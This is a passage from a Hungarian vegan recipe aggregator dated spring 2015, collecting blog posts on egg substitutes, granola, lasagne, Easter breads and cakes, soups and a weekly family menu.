Készíthetünk saját magunk cukormentes almaszószt, de gyorsabb megoldást ígér, ha veszünk bolti baba almapürét/almaszószt és azt használjuk. Előfordult már, hogy baba reszelőn reszeltem le az almát, hogy pürés állaga legyen, ez is viszonylag egy gyors megoldás. Néhány példa: almaszószos fahéjas keksz, kókuszos répa muffin.
5. Agar-agar – 1 evőkanál agar-agar + 1 evőkanál víz = 1 tojás
Én tojás helyettesítésére még nem használtam ezt a változatot, inkább csak zselatin helyettesítésére például ennél a kocsonyánál vagy ennél a kávés panna cottánál.
6. Földimogyoróvaj – 3 evőkanál földimogyoróvaj = 1 tojás
Ha a földimogyoróvaj jól ragaszt, akkor szerintem a mandulavaj is. Én inkább az íze és a benne lévő tartalom miatt adtam eddig ételekhez, nem pedig kimondottan tojás helyettesítésére. Példák: mandulás földimogyorós keksz, földimogyoróvajas muffin datolya sziruppal.
Diós kókuszos árpapehely granola
2015. április 13. Zizi kalandjai
Kamra takarítást tartottam. Volt itthon zabpehely is, de ebből csináljuk a reggeli kásánkat, így inkább a maradék, ritkán használatos árpapelyhet használtam ehhez a granolához. Kiváló lett vele. Próbáljátok ti is ki! Az árpapehely igen gazdag élelmirostban, ennek köszönhetően tisztán tartja a beleket és a gyomrot, továbbá csökkenti a koleszterin szintet. Javasolt a fogyasztása várandós és szoptatós kismamák részére, továbbá erős fizikai igénybevétel alkalmával.
Még jól szerepelhet a rozspehely is, szóval érdemes ezeket a pelyheket váltogatni granola készítéséhez. Még olyanokat dobáltam hozzá, ami volt itthon: dió (de jöhet bele mandula, törökmogyoró is), tökmag (adhattok hozzá napraforgómagot is, nálam épp nem volt itthon) és akkor a szuper élelmiszerek – chia mag, szezámmag, hántolt kendermag (ez viszonylag új a konyhámban, de mindenbe tesszük: kásába, smoothie-ba és most a granolába is). Édesítésnek juharszirupot használtam. Ha nincs, adjatok hozzá mézet, agavé szirupot, vagy akár el is hagyhatjátok az édesítést, úgy is finom. Egy kevés fahéjat adtam hozzá fűszerezésként, és elmaradhatatlan a csipet só.
Legyetek kreatívak, a granola tárháza kifogyhatatlan. Pelyhek, magok, fűszerezés, bármi jöhet. Mi most vegán citromos joghurtra szórtuk, másnap reggel pedig a smoothie bowl-unkra szórtuk és már el is fogyott. Érdemes dupla adagot készíteni belőle. Garantált a gyors fogyás!
Diós kókuszos árpapehely granola
Hozzávalók:
– 2 bögre árpapehely
– 1 bögre dió
– 1/2 bögre tökmag
– 1/2 bögre kókuszreszelék
– 2 evőkanál chia mag
– 2 evőkanál szezámmag
– 2 evőkanál lenmag
– 3 evőkanál hántolt kendermag
– 1/2 teáskanál fahéj
– 1/2 teáskanál só
– 4 evőkanál juharszirup
– 4 evőkanál kókuszzsír
Melegítsük elő a sütőt 175 fokra. Egy nagy tepsit béleljünk ki sütőpapírral.
Egy tálban keverjük össze a száraz alapanyagokat: árpapehely, tökmag, dió, kókuszreszelék, chia mag, szezámmag, lenmag, kendermag, fahéj, só. A végén adjuk hozzá a juharszirupot és a kókuszzsírt és jól keverjük el. Borítsuk rá a tepsire és kanállal egyengessük el, hogy mindenhova egyformán jusson. Süssük kb. 6-8 percig, keverjük át, majd süssük újabb 8-10 percig, amíg aranybarna lesz (ellenőrizzük folyamatosan, mert sütő függő, hogy milyen hamar lesz kész).
Üvegben/dobozban tartva hetekig eláll. Bár nem fog addig tartani, ezt garantálom!
"Szeretem a konyhám" képek
2015. április 12. Sose mondd, hogy soha
Rég nem jelentkeztem, mert igazából semmi változás. Minden szuper. Szeretek így élni. Néha nosztalgiám van régi ételekre, de ez picit olyan, mint a monogámia. Lehet, hogy megkíván az ember mást is, de ha egyszer eldöntötte, akkor hű marad. Szeretek benézni a hűtőbe egy bevásárlás után.. pedig most nem is olyan jó, mert szerelőnél van a kocsi, nem tudtam biopiacra menni, csak vacak zacskós zöldeket kaptam, de nekem még így is tetszik:) Hülye voltam, mert Dóri felajánlotta, hogy hoz nekem biopiacról zöldeket, de akkor még azt hittem, szombatra lesz autó. Sebaj, túléltem már korábban is a zacskós zöldet. Annál jobban fog esni jövő héten az Igaz;) Legalul répa és brokkoli a kutyakajába lesz. Alulról a második polc az állatoké, ott van a nyuszi fehérrépája és Matilda paradicsoma. Felette áznak a datolyák a turmxihoz és a magok az esti magtejfölhöz. A paradicsom, az ubi és a paprika az esti salit gazdagítja. Ha már a hűtőt fotóztam, eszembe jutott az éléskamra polcot is. Itt van pár főzni való, mert a kutyák nem nyersek, csak vegánok, ezért kell nekünk lencse, csicseriborsó, köles, rizs... Ami nekem van: datolya, dió, napraforgómag, szárított paradicsom, mazsola, kókuszreszelék, brazil dió, mandula. Jobbra pedig Matilda imádott kendermagja van. ...és így vártam ma a vendégeket, akik nem nyersevők, csak pár hónapja vegánok. Aggódva kérdezték, hogy ha csak gyümölcsöt eszem, akkor honnan a protein? Azt hittem, viccből kérdezi, nevettem, aztán leesett, hogy komolyan gondolja. Kezdőként sok dolgot nem tud még az ember, nagy kerek hitetlenkedő szemekkel néztek rám, amikor mondtam, hogy protein a gyümölcsökben is van, kb 10%, ami pont annyi, amennyi kell. Hát, ha nekem nem hiszik el, majd elhiszik másnak:) Mindenesetre nagy élvezettel falatozták a gyümölcsöket.
Szilvalekváros-diós pite
2015. április 12. Éltető ételek
Ha gyorsan kell valami finom és laktató, akkor ezt készítsd el. 1 óra elteltével már tálalhatod is. Bármilyen lekvárral elkészítheted, én most házi, cukormentes lekvárt tettem bele. Ha van a hűtőben valódi tejszín, vagy kókuszkrém, akkor igazán finom uzsonna kerekedik ki belőle. Hozzávalók: Tészta: - 10 dkg aprószemű zabpehely - 15 dkg teljes kiőrlésű tönkölyliszt - 12 dkg bio vaj - 8 dkg juharszirup vagy méz - 1 kávéskanál vaníliapor - 1/2 kávéskanál szódabikarbóna - csipet só Töltelék: 1 kis üveg házi, cukrozatlan szilvalekvár (aszalt, mindenmentes szilvából is készíthetsz lekvárt) - fahéj - 1-2 marék durvára tört dió Elkészítése: Először morzsold el a vajat a liszttel, majd a többi összetevővel együtt gyúrj egy puha tésztát. Ha van időd, tedd be a hűtőbe úgy fél órára. Ha nincs, az sem baj, teheted is a piteformába.Vedd elő a formádat, és a tészta 3/4-ét nyomkodd bele. Csinálj neki egy kis peremet is.A lekvárt keverd el dióval és a fahéjjal, majd simítsd rá a tésztára.A tetejére reszeld rá a maradék tésztát.Előmelegített sütőben 180 fokon süsd úgy 25 percig. Nézz rá, amikor már kezd színe lenni a tésztának, akkor már jó.Kínáld tejszínnel vagy kókuszkrémmel.
Medvehagymás-spenótos lasagne
2015. április 10. Éltető ételek
Újabb finomság készült ma ebédre, mely teljesen vegán módon is elkészíthető. Igazán ízletes, fűszeres, fokhagymás... szóval finom. Mivel nem akartam sokat mosogatni, így egy lábasban, egymás után készítettem el a szószokat. Hozzávalók (2 adag): - 1/2 doboz lasagne tészta - 40 dkg friss paradicsom (vagy 5 dl házi paradicsomlé) - jó sok fokhagyma - 20 dkg friss spenót - 6-8 levél medvehagyma - kókuszolaj - só, bors Besamell mártás: - 3 evőkanál zabliszt vagy rizsliszt - 5 dl rizstej - szerecsendió - babérlevél - só, bors Elkészítése: Egy serpenyőben tegyünk fel melegedni 1 evőkanál kókuszolajat. Tisztítsunk meg 2 gerezd fokhagymát, majd reszeljük az olajhoz. Alaposan mossuk át a spenótot, kézzel tépkedjük szét, és dobjuk rá a fokhagymás kókuszolajra.Pár perc alatt összeesik a spenót. Sózzuk, borsozzuk és szedjük ki egy tálkába. A medvehagymát alapos megmosás után vágjuk fel kis darabkákra. A 3/4 részét keverjük a megfonnyasztott spenóthoz.A paradicsomot turmixoljuk vagy botmixerezzük össze. Szintén kerüljön bele úgy 2 gerezd fokhagyma. Szintén lehet sózni.A serpenyőbe ismét tegyünk egy kevéske kókuszolajat, és öntsük rá a fokhagymás paradicsompürét. Kevergetve, lassan főzzük úgy 10 percig. Szintén öntsük ki egy tálkába.Már csak a besamellt kell elkészíteni. Ismét egy kevéske kókuszolaj, majd szórjuk rá a lisztet. Kevergessük, majd egy habverő segítségével - folyamatosan keverjük - öntsük hozzá a rizstejet. Kissé sűrű, puding állaga lesz. Fűszerezzük szerecsendióval és tegyünk bele 1 babérlevelet is. Sózzuk, borsozzuk.Állítsuk össze a lasagnet. Egy jénaiba tegyük a - paradicsomlé felét - tészta 1/3-át - besamell 1/3-át - medvehagymás spenótot - besamell 1/3-át - tészta 1/3-át - paradicsomlé felét - tészta 1/3-át - besamell 1/3-át - A tetejét szórjuk meg a maradék medvehagymával. - Előmelegített sütőben süssük úgy 30 percig. Ha eszel sajtféléket, akkor a tetejét megszórhatod füstölt mozarellával, és a spenótos töltelékben el tudnék képzelni egy kevéske zöldfűszeres kecskesajtot.
Kókusztejszínes müzli leheletnyi juharsziruppal
2015. április 9. Éltető ételek
Sokszor van olyan, amikor nincs idő kását főzni, de mégis kellene valami tápláló reggeli. Nos, ez a fincsi müzli 3 perc alatt összedobható, amíg öltözöl és készülődsz, addig megpuhulnak az apró zabpelyhek... és már eheted is. Hozzávalók (1 adag): - fél doboz (1 dl) kókuszkrém - 1 dl víz (vagy növényi tej) - 3-4 evőkanál aprószemű zabpehely (ha van készen granolád, akkor ezt használd) - 1 alma - kis marék áztatott/szárított dió vagy más olajos mag - 1 teáskanál mazsola - 1 késhegynyi vaníliapor - csurgatásnyi juharszirup Elkészítése: - Öntsd a tálba a kókuszkrémet és a vizet. Keverd össze, szórd bele a vaníliaport és a mazsolát.Majd mehet hozzá a zabpehely (vagy a granola, ebben az esetben nem szükséges dió, hiszen a granolában van) és a dió. - Keverd össze, majd kockázd bele 1 almát. - 5-10 perc elteltével csurgasd meg egy pici juharsziruppal, és eheted is.Jó étvágyat!
3. heti menü
2015. április 5. Mindennapi ételeink
Tartalmas együtt töltött napokat kívánunk mindenkinek! Férjemnek munkával telik a húsvéthétfő is, de majd bepótoljuk a közös programot valamikor. ...:) HÉTFŐ R: Kukoricatejes gabonakávé, sós kalács, gabonagömböc, répás tofupástétom, retek, saláta, újhagyma V: Palócleves, pogácsa, alma E: Házi kifli, répás tofupástétom, paradicsom KEDD R: Zabkása, baracklekvár, alma, mandarin, mandula/dió E: Sárgarépafőzelék, tavaszi burgonyakrokett, diós "hókifli" V: Ebédről maradék SZERDA R: Házilag sütött kuglóf, tahini-karoböntettel, alma, olajos mag E: Fokhagyma krémleves, tepsis burgonya, zöldség-gabonafasírt, saláta V: Ebédről maradék CSÜTÖRTÖK R: Rizstejes tejbegríz, narancs, és karobos "csokikrém" (1 avokádó, 1 banán, 3 kanál méz, 3 ek. karob, 1 ek. kókuszzsír, késhegynyi vaníliapor, késhegynyi fahéj--mindez összeturmixolva) E: Reszelt zöldségleves, milánói makaróni V: Melegszendvics (tofukőrözött, növényi sajt / pizzakrém, növényi sajt) PÉNTEK R: Tejberizs, kiwi, ananász E: Rakott brokkoli (barna rizs, növényi sajt, növényi tejföl, brokkoli, fűszerek), saláta V: Zöldségpástétom, kenyér, paprika SZOMBAT R: Granola müzli, növényi tej, banán E: Rakott brokkoli (barna rizs, növényi sajt, növényi tejföl, brokkoli, fűszerek), saláta V: Házilag sütött kenyér, Unicarm növényi pástétom, paradicsom, savanyú káposzta VASÁRNAP R: Kukoricakása kuglóf, gyümölcsszósszal E: Burgonyagombóc leves, grillezett zöldségek, bulgur V: Zellerpástétom, zsemle, paradicsom
Narancsos kalács nemcsak húsvétra
2015. április 5. Éltető ételek
Ilyen finom, különleges ízű kalácsot még nem ettem. A narancs kellemesen pikánssá teszi, mindenképp próbáljátok ki, amíg még kapható. Hozzávalók: - 30 dkg teljes kiőrlésű tönkölyliszt - 6 dkg bio vaj - 5 dkg méz - 1 dl frissen préselt narancslé - ha szükséges, akkor még növényi tejjel pótolom - 2 dkg élesztő - fél üvegcse narancsolaj - 1/2 kávéskanál vaníliapor - 1/2 teáskanál himalája só - a kenéshez: 1 teáskanál méz pici vízzel hígítva - dió és kókuszvirágcukor megszórásra Elkészítése: A lisztet szitáljuk át, hogy kevesebb korpa legyen benne. Így jobb lesz a kalács állaga. A liszt mennyisége átszitálás után legyen 30 dkg.Csináljunk egy mélyedést a lisztbe, morzsoljuk bele az élesztőt, csorgassunk rá egy pici mézet és egy kevéske langyos növényi tejet. Hagyjuk pár percig, hogy felfusson az élesztő.Adjuk hozzá a sót, a narancslevet, a narancsolajat, majd morzsoljuk bele a puha vajat is.Dagasszuk jól ki a tésztát. Ha szükséges, egy kevéske növényi tejet adhatunk hozzá.Kelesszük a duplájára.Osszük 3 fele a tésztát, és csináljunk egy egyszerű fonást.Szükségünk van egy kuglóf formára: Kenjük ki kókuszolajjal, majd tegyük bele a megfont kalácsot.Szintén hagyjuk pihenni úgy 30 percig, majd kenjük meg a mézes vízzel.Szórjuk meg az összetört dióval és egy kevéske kókuszvirágcukorral.Előmelegített sütőben süssük úgy 35 percig.Vegyük ki a formából, és hagyjuk teljesen kihűlni,
Sült retek (a húsvéti asztalra) + húsvéti recept ajánló
2015. április 3. Zizi kalandjai
Végtelenül egyszerű recept és kiváló finomság az ünnepi tavaszi asztalra. A retket többnyire nyersen esszük, azonban fenséges köretet is varázsolhatunk belőle egy kis hőkezelés hatására. Én olívaolaj és umeboshi ecet keverékében sütöttem meg. Állj! Mi a franc az az umeboshi? És ráadásul még ecet is? Elmesélem, hogy mi ez és azt is megosztom veletek, hogy mivel tudjátok helyettesíteni, ha hirtelen nem tudjátok beszerezni (húsvétig).
Az umeboshi egy japán szilva fajta és legelőször Makitól hallottam róla. Ez egy gyümölcs, amit többnyire shiso levéllel együtt érlelnek, ettől lesz a gyümölcsnek – majd az ecetnek is – fakó piros színe. A nyers gyümölcs ízét nem ismerem, de az ecet egyszerre savanyú és sós, nekem nagyon bejön. Nem csodaszer, de pozitív az élettani hatása… a benne lévő tápanyagok felerősítik immunrendszerünket, így ellenállóbbak leszünk a betegségekkel szemben. Segít a bélműködés helyreállításában, semlegesíti az elsavasodott állapotot, megnyugtatja a beleket és a méreganyagok eltávolításához is hozzájárul. Egyébként aszalják is, valamint készül belőle gyümölcslé és likőr is az eceten kívül. Beszerezhető reformboltokból, bioboltokból, online áruházakból (többféle márka létezik, én már kettőt is próbáltam, mindkettő ugyanolyan finom volt). Ebben a receptben pedig helyettesíthetitek szójaszósz vagy tamari (gluténmentes szójaszósz) és citromlé keverékével.
Jó pihenést az ünnepekre, egyetek finomakat!
A receptet a Marie Claire oldalán olvashatjátok el!
Ide pedig összegyűjtöttem néhány finomságot, amelyek jól mutatnak a húsvéti asztalon…
Vegán kötözött sonka (egyszer biztosan ki fogom próbálni…)
Vegán húsvéti vagdalt, hamis tojássaláta és sárgatúró kölesből Grétától
A mindig nyerő diósült
Húsvéti vöröslencse vagdalt
Foszlós kalács és briós
Fokhagymás kalács és medvehagymás juhtúróval töltött kápia paprikák Annától
Húsvéti vegán kalács
Marcipános narancsos kalácsok Limarától
Sárgarépás magvas kenyér Limarától
Párolt retek
Gyors retek savanyúság
Vegán retekkrémleves
Gyömbéres répatorta
Vegán kókuszos répa muffin
Ropogós diós-kakaóbabtöretes üreges csokitojások Zsuzsitól
Vegán cukormentes csokoládé tojások kesukrémmel, datolya karamellel (angol)
Vegán – szinte nyers – cukormentes csokoládé tojások (angol)
Nyers répasüti citromos kesudió krémmel (angol)
Avokádós töltött tojás (angol)
Vegán spenótos mártogatós (angol)
Málnás rizskása kezdő életmódváltóknak
2015. április 1. Éltető ételek
Minek nevezzelek? Igazából ez egy gyümölcsös rizskása, de ha kezdő életmódváltónak kínálod, akkor egy fincsi málnás pudingként tálald. Tuti, hogy a receptet fogják tőled kérni. Hozzávalók (4 adag): - 1 liter víz - 20 dkg barnarizs - 2 kávéskanál vaníliapor - 3 evőkanál kókuszreszelék - csipet só - 3 evőkanál méz vagy juharszirup - 2-3 evőkanál kókuszkrém - 25 dkg málna Elkészítése: - Először is meg kell darálni a rizst. Én ezt pelyhesítővel szoktam csinálni, nagyon jó kis dara lesz belőle. - A vizet felteszem főni, és beleszórom a vaníliaport, a kókuszreszeléket és a csipet sót. - Majd hozzáöntöm a rizsdarát, és folyamatos keverés mellett megfőzöm. - Kb. 15 perc elteltével (ha már puha a rizsdara), leveszem a tűzről, és hozzákeverem a mézet és a kókuszkrémet. - Ezután a gyümölc felét jó alaposan beledolgozom, majd még a maradék gyümölcsöt is, de ekkor már lazább mozdulatokkal.
Nagyi almás pitéje
Mit tudott a nagyi almás pitéje? Mitől volt olyan felejthetetlenül jó az illat, ami elvarázsolt, amint beléptünk hozzá? Kicsi voltam még, nem emlékszem, hogy csinálta az almás pitét. De ahogy most sült ez a pite, és kezdtek kiszállingózni az illatok, ő jutott eszembe. Nálunk húsvétkor ez lesz az egyik vendégváró süti. Remélem, ízlik majd a locsolóknak is.:)
Hozzávalók egy kisebb tepsihez:
- 380 g liszt
- 25 g élesztő
- 40 g cukor
- 1 evőkanál lenmagliszt
- 5 g kókuszolaj
- 2,5 dl tej (én szójatejet használtam)
- egy teáskanál só
- 650 g savanykás alma (3 nagy)
- 100 g durvára tört dió
- 80 g nádcukor
- 1 teáskanál fahéj
- tej a megkenéshez
- Az élesztőt futtassuk fel a cukros tejben.
- Közben a lisztben jól keverjük el a lenmaglisztet, a sót és a kókuszolajat, és öntsük hozzá az élesztős tejet is.
- Dagasztógéppel jól dolgozzuk ki a tésztát, akkor jó, ha elválik az edény falától. Takarjuk le, és tegyük félre egy órát pihenni.
- Közben készítsük el az almarétegünket. Hámozzuk meg, és magozzuk ki az almát, és gyalun szeleteljük le. A is diót törjük meg.
- Amikor szépen megdagadt a tészta, válasszuk ketté. Egyik felét nyújtsuk ki, és tegyük sütőpapírral bélelt tepsibe.
- Terítsük be a tésztát dióval, ezen a rétegen oszlassuk el az almát (előtte nyomkodjuk ki kicsit), ezután szórjuk meg cukorral és fahéjjal.
- Nyújtsuk ki a tészta másik felét, és ezzel takarjuk be a süteményt. Nyomkodjuk össze széleket, kenjük meg tejjel, és 180 fokon, nagyon lassan süssük, amíg a teteje szép barna nem lesz.
Jó étvágyat! Elkészítési idő: 30 perc + kelesztés, + sütés
Egy kattintás, és nem maradsz le a további receptekről:
Töltsd le ITT két ajándék receptfüzetünket a Hírlevél feliratkozás mellé! Szupergyors Édességek és Szupergyors Vacsorák receptfüzet
Húsvéti mézeskeksz
2015. március 29. Dulmina tündérkonyhája
A húsvéti készülődés jegyében tegnap ismét munkára fogtam az antik, cukrászdai mézeskalács-formázót. Ez sült ki belőle: A tészta a plébános mézeskalácsa. Formázás előtt belisztezem a felületét, hogy ne tapadjon a gép hengereihez. Most a tej helyett szójatej+olvasztott kókuszzsír, a vaj helyett pedig szintén kókuszzsír került bele, hogy egy tejallergiás barátom is gond nélkül fogyaszthassa.
Málnás-csokis kosárka
2015. március 25. Éltető ételek
Nemcsak húsvétra, hanem bármikor... nagyon finom. Most málnakrémmel készítettem, de szezonálisan akár eperrel vagy cseresznyével is működik. 5 db nagy muffin lett belőle. Hozzávalók: Tészta: - 5 dkg zabpehely - 5 dkg kókuszreszelék - 5 dkg áztatott/szárított dió - 8 dkg mazsola (picit beáztatva) - 1 evőkanál cukrozatlan kakaópor - 2-3 csepp narancsolaj - narancslé, hogy gyúrható tésztánk legyen (de ne legyen lágy!) Málnakrém: - 5 dkg málna - 3 dkg aszalt áfonya vagy aszalt meggy - 1 teáskanál útifűmaghéj - pici juharszirup Csokikrém: - 1 érett avokádó - 1/2 evőkanál kakaópor - 1 evőkanál kókuszvirágcukor - 1-2 csepp narancsolaj Elkészítése: A tészta hozzávalóit késes aprítóval morzsásra aprítjuk. A kókuszreszeléket külön, kávédarálón daráljuk meg. Gyúrjunk belőle egy masszát, de ne legyen lágy. Készítsük el a málnakrémet. Én csak egyszerűen villával összenyomkodtam, és hozzáadtam az útifűmaghéjat. A csokikrém elkészítéséhez is csak egy botmixer kell. A kosárka elkészítéséhez kell egy fém muffinforma és egy szilikon is. Az utóbbit tegyük a fém muffinformába. A tésztából csináljunk 5 egyforma darabot, és egyesével nyomkodjuk bele a szilikon formába. A fém forma azért kell, mert ez fogja megtartani a formáját a kosárkának. Ha elkészült, a szilikon óvatosan lehúzható a kosárkáról. Töltsük meg a málnakrémmel, majd a csokikrémmel.
Mediterrán szejtánsült
2015. március 22. Mindennapi ételeink
Azért szeretjük a búzahúst, mert a szánk íze szerint alakítható. Mivel múltkor főzőkörre készítettem egy nagy adaggal, eltettem -bepácolva- egy pár szeletet, ínségesebb időkre. :-) Ha készen van a búzahús, 5-10 perc alatt (a körettől függően) finom ebédet készíthetünk. Hozzávalók: 8 szelet bepácolt búzahús (receptjét ld. itt) 2 ek. pesto 2-3 tk. mediterrán fűszerkeverék 8 szem olajbogyó kevés citromlé 2 ek. kókuszzsír -- bulgur Elkészítés: A bepácolt búzahúsokat megkenjük egy kevés pesto-val, megszórjuk a fűszerkeverékkel, és kókuszsírral kikent tepsibe tesszük. 2-3 percet sütjük mindkét oldalukat, majd meglocsoljuk ízlés szerinti citromlével. Olajbogyóval ízesített bulgurral, párolt brokkolival, nagy adag salátával tálaljuk. TIPP: a páclében mst ez volt: olaj + ugyanannyi víz, ill. fele annyi szójaszósz, paprikakrém, fokhagyma.
Eszter szelet
2015. március 21. Éltető ételek
Nincs annál nagyobb öröm, amikor a lányok örömmel falatozzák be az általam készített ételeket. Nos, ezt az édességet a nagylányom után neveztem el, ugyanis azt mondta, hogy ezt feltétlenül mentsem el, hogy bármikor ugyanígy, ugyanezt el tudjam készíteni. Ugyanis az jellemző rám, hogy sokszor csak improvizálok, majd másnap már nem is emlékszem a receptre. Úgyhogy ezt sebtiben le is írom, hogy nehogy feledésbe merüljön. Hozzávalók: - 10 dkg mogyoró - 20 dkg datolya - 10 dkg dió - 5 dkg kókuszreszelék - 1 kávéskanál vaníliapor - 1 evőkanál kakaópor - 4 dkg kakaóvaj - + 10 dkg darabosra tört dió - csipet himalája só Elkészítése: - A mogyorót daráljuk meg kávédarálón annyira, hogy jó krémes legyen. - Vegyük elő a a konyhai robotgépet, majd tegyük bele a datolyát, a mogyorókrémet és a diót. - Daráljuk morzsásra. - Adjuk hozzá a kókuszreszeléket, a vaníliaport, a kakaóport és a csipet sót. - Jól keverjük össze. - A darabosra tört diót is dolgozzuk bele. - A végén hozzákeverjük a vízgőz felett felolvasztott kakaóvajat. - Egy 20x20 cm-es formába jól nyomkodjuk bele, és tegyük be a hűtőbe 1-2 órára. - Szeleteljük fel.
Zöld spagetti zöld spárgás pestóval (gluténmentes)
2015. március 21. Zöld Avocado
Folytatva az előző bejegyzéseket (Szent Patrik napi zöld hullám), ismét egy zöld étel receptjét osztom meg veletek. :-) A következő fogás egy gyorsan elkészíthető, természetesen tápanyagokban gazdag, zöld spagetti nyersnek mondható zöld spárgás pestóval, gluténmentesen. Zöld spagetti zöld spárgás pestóval Gyors egy kis szösszenet a spárga jótékony hatásairól, és már jöhet is a recept, amit akár még ma el is készíthettek, mert semmilyen előkészületet, vagy különlegesebb bevásárlást nem igényel! ;-) "A növény szárát jól emészthető rostok alkotják. A hajtások A-, B1-, B2-, C- és E-vitaminban,folsavban gazdagok. Zsírtartalma jelentéktelen, nem tartalmaz koleszterint. Sok értékes aminosavat, köztük aszparaginsavat is tartalmaz, kalóriatartalma azonban csekély. Miután a hajtások nagy része, 93-95 százaléka víz, a maradék szárazanyag kevés kalóriát képvisel. 100 gramm spárgába mindössze 20 kalória szorult. Kifejezetten kevés benne a cukor, 100 grammban összesen 4 gramm szénhidrát van. Tartalmaz kalciumot, foszfort, vasat, sok káliumot, viszont nátriumtartalma alacsony. A nyomelemek közül ónt, szilíciumot, molibdént. A zöld klorofillban gazdag, több benne a C-vitamin és a karotin, mint a halványított változatában, ezért táplálékként is értékesebb. Gyógynövényként több évszázada számon tartják. Elsősorban vízhajtó és vesekő-eltávolító hatása ismert, vízhajtóként áttételesen a szívet tehermentesítve a keringésre is jótékony hatással van. Ugyancsak vízhajtó tulajdonságával van összefüggésben, hogy segíti a szervezet méregtelenítését. Szárított porát fogfájás kezelésére is használták. Kedvezően hat a belső elválasztású mirigyek működésére, és enyhe hashajtó hatású. A nyers spárgalé is egészséges, 4-5 hajtásból zöldségcentrifugával félcsészényi nyerhető. Túlzott fogyasztása nem javasolt köszvényes és veseköves, illetve erre hajlamos emberek részére. Nagyobb mértékben még az érszűkületre is jó hatással van." Forrás: Wikipédia zöld spagetti zöld spárgás pestóvalHOZZÁVALÓK: (kb.4 személyre) - 1 zacskó kukoricából készült spagetti (vagy teljeskiőrlésű, ha nem fontos a gluténmentesség) - 60 g reszelt parmezán - 1 köteg zöld spárga (kb.15-16 szál) - 2-3 gerezd fokhagyma - 60 ml extra szűz olíva olaj (most ne használjunk kókusz zsírt) - 16 levél friss bazsalikom - 4 ek fenyőmag - snidling vagy metélőhagyma vagy akár medvehagyma - Himalája só, frissen őrölt fekete bors - (opcionálisan - akármilyen csíra) ELKÉSZÍTÉS: Feltesszünk egy nagy lábasban vizet forrni a spárgáknak, és a spagetti tésztának. Miután a víz felforrt, beledobjuk a megmosott, és fás végietől megtisztított spárgákat. 2 perc múlva kivesszük őket, és hideg vízbe tesszük. Az újra forrásban lévő vízbe teszünk egy kevés sót, és olajat, és a hagyományos módon, tésztától függően 8-10 perc alatt készre főzzük benne a spagettit is. Amit a spárgával csináltunk, azt hívják blansírozásnak, azaz leforráztuk őket, hogy egy kicsit mepuhuljon, de ne főljön szét, megtartsa a szép zöld színét, és értékes tápanyagait is. Miközben fő a spagetti tészta, elkészítjük a zöld pestónkat. A fenyőmagot ledaráljuk, majd hozzátesszük az olíva olajat, a parmezánt, a sót, és borsot, a blansírozott nagyobb darabokra szelt spárgát, és 2 kanállal a főző vízből. Ezt az egészet krémes állagúra turmixoljuk. zöld spagetti zöld spárgás pestóval A bazsalikom leveleket ha van otthon, akkor mozsárban összetörjük, ha nincs, akkor veszünk egy keskenyebb szájú bögrét, egy fakanalat, vagy akár egy fa méz csurgatót, és körkörös nyomó mozdulatokkal pár perc alatt szétzúzzuk a bazsalikom leveleket. (ezt a munka folyamatot oda adhatjuk a férfinak a háznál, és így közös főzés lesz belőle. ;-) ). Amint kész a szétzúzott bazsalikom beletesszük a már krémes zöld pesztós edénykénkbe, és tovább turmixoljuk az egészet egybe. De! Csak pár másodpercig tegyük ezt, mert a melegedő fém és a bazsalikom találkozása kesernyés ízt idéz elő, ezért nem szabad megvárni, hogy a turmix kés felmelegedjen. 5-6 fordulat, és kész is az egynemű zöld spárgás pestónk. :-) A megfőtt spagetti tésztát folyó hideg víz alatt átszűrjük, majd jó alaposan összekeverjük a nyersnek mondható zöld pestónkkal. Jól keverjük össze, hogy mindenhová jusson az ízes "szószból". ;-) Tálalás előtt szórjuk meg apróra vágott snidlinggel (vagy egyéb zöld hagymával), és ha van otthon, akkor a csírák is remekül passzolnak ehhez a tészta ételhez. Szórjuk meg azzal is! zöld spagetti zöld spárgás pestóval Táplálkozz, ne csak étkezz! Jó étvágyat hozzá! Megjegyzés1: Ez így egy szoba hideg (nem hűtő hideg) tészta étel lesz, de ha ez zavar minket, akkor a megfőtt, és leszűrt tésztát melegítsük fel, mielőtt összekeverjük a zöld pesztóval. De még előtte, hogy a zöldségek és fűszerek ne veszítsenek még több értékes tápanyagot a hő hatására. Megjegyzés2: az én gyomrom nem annyira szereti a nyers fokhagymát, ezért én a fokhagymát is blansírozom a spárgával együtt, így elveszíti az erejét, és a gyengébb gyomrúak számára is fogyaszthatóvá válik. Megjegyzés3: Ha csak két főre készítjük az ételt, felezzük meg a felhasználandó hozzávalók mennyiségét. Másnaposan nem olyan finom, mert a tészta magába szívja a nedvességet, és összeáll az egész.
Medvehagymás zöldborsó krémleves
2015. március 20. Éltető ételek
Mit is főzzek ma? Ugye ezt a kérdést ti is gyakran felteszitek? Tegnap vettem egy csomag medvehagymát, úgyhogy az biztos volt, hogy fog kerülni bele. Próbáljátok ki, amíg még van medvehagyma. Bár, szezonon kívül szárított medvehagymát szoktam az ételekbe tenni. Hozzávalók: - 1 kis fej vöröshagyma vagy 1 szál újhagyma - 2-3 gerezd fokhagyma - 2 csésze zöldborsó - 1 közepes méretű krumpli - 5-6 medvehagyma levél - himalája só, bors - 1/2 zöldségleves kocka (mindenmentes!) - 1 teáskanál kókuszolaj - tökmag a díszítéshez Elkészítése: - A kókuszolajat olvasszuk meg, majd tegyük bele a kis kockára vágott hagymát és a fokhagymát. Picit később dobjuk rá a zöldborsót és a kockára vágott krumplit. - Süssük, pároljuk picit, majd öntsük fel annyi vízzel, hogy csak ellepje. - Fűszerezzük, és főzzük puhára (úgy 10 perc) - Vegyük le a tűzről, és vágjuk bele a medvehagymát. - Botmixer vagy turmix neki! - Díszítsük pirított tökmaggal és egy kis medvehagyma levéllel.
Medvehagymás vöröslencse krémleves ropogós zellerszárral
2015. március 18. Éltető ételek
Na persze... megint medvehagyma. Bizony. Ilyenkor használjuk ki az alkalmat, és amikor csak lehet,(akár mindig) együnk medvehagymát. Hozzávalók: - 1 marék vöröslencse - 1 közepes krumpli - 1 közepes sárgarépa - 2-3 gerezd fokhagyma - 1 kisebb vöröshagyma - kb. 10 cm-es szárzeller - 4-5 medvehagyma levél - 1 teáskanál kókuszolaj - só, chili, kevéske őrölt pirospaprika Elkészítése: A kókuszolajat melegítsük fel, majd adjuk hozzá a vöröshagymát és a fokhagymát. Picit később landolhat benne a vöröslencse és a többi zöldség. Persze előtt vágjuk fel kis darabokra.Fűszerezzük, és öntsük fel vízzel, úgy, hogy bőven ellepje.15 perc körül kóstoljuk meg, hogy megfőtt-e a zöldség. Amennyiben már puha is és finom is, adjuk hozzá a pici darabokra felvágott medvehagymát. Csak egy rottyantás, és kész is.
Zöldséges szabdzsi kesudiós szószban
